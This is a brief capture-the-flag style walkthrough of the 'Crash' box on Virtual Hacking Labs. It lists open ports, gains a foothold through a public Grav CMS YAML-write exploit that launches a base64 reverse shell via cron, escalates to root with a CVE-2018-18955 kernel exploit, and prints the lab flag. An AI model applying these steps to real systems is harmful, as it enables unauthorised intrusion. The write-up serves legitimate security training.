Crash — VHL (10.11.1.63)

21/tcp open ftp vsftpd 3.0.3

#virtual hacking labs#vhl#walkthrough#boxes#os:linux#tech:rce#tech:cve#tech:suid

Crash — VHL (10.11.1.63)

Port Enumeration (10.11.1.63)

🐺 howlsec@kalishell

$21/tcp open  ftp   vsftpd 3.0.3
$22/tcp open  ssh   OpenSSH 7.6p1 Ubuntu
$80/tcp open  http  Apache 2.4.29 - Grav CMS

Foothold: GravCMS 1.10.7 arbitrary YAML write (exploit-db 49973)

The unauthenticated scheduler YAML-write bug lets you register a malicious cron job that runs a base64 reverse shell:

🐺 howlsec@kalishell

$# edit the exploit's base64 payload (bash reverse shell), then:
$python3 49973.py   # -> reverse shell as webuser

Privesc: kernel exploit (4.15.0-29 / CVE-2018-18955)

🐺 howlsec@kalishell

$uname -a   # 4.15.0-29-generic
$# CVE-2018-18955 (scheatkode) - run the provided ld.preload variant:
$./exploit.ldpreload.sh   # -> root; /root/key.txt = f0avo5t53k9nnfg566zj